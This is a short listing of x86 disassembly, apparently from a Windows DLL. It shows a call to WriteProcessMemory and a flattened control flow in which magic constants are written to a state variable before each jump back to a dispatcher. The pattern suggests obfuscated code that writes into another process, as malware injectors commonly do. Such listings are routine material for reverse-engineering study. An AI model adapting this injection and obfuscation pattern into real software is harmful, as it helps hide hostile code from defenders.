mov eax, dword [ebp - 0x10c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x180], 0x6821707e
jmp 0x1000eabd
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x80]
add ecx, eax
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov dword [ebp - 0x180], 0x58ce7fc6
jmp 0x1000eabd
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x180], 0x4981a83d
jmp 0x1000eabd
mov dword [ebp - 0x180], 0x407e1397
jmp 0x1000c780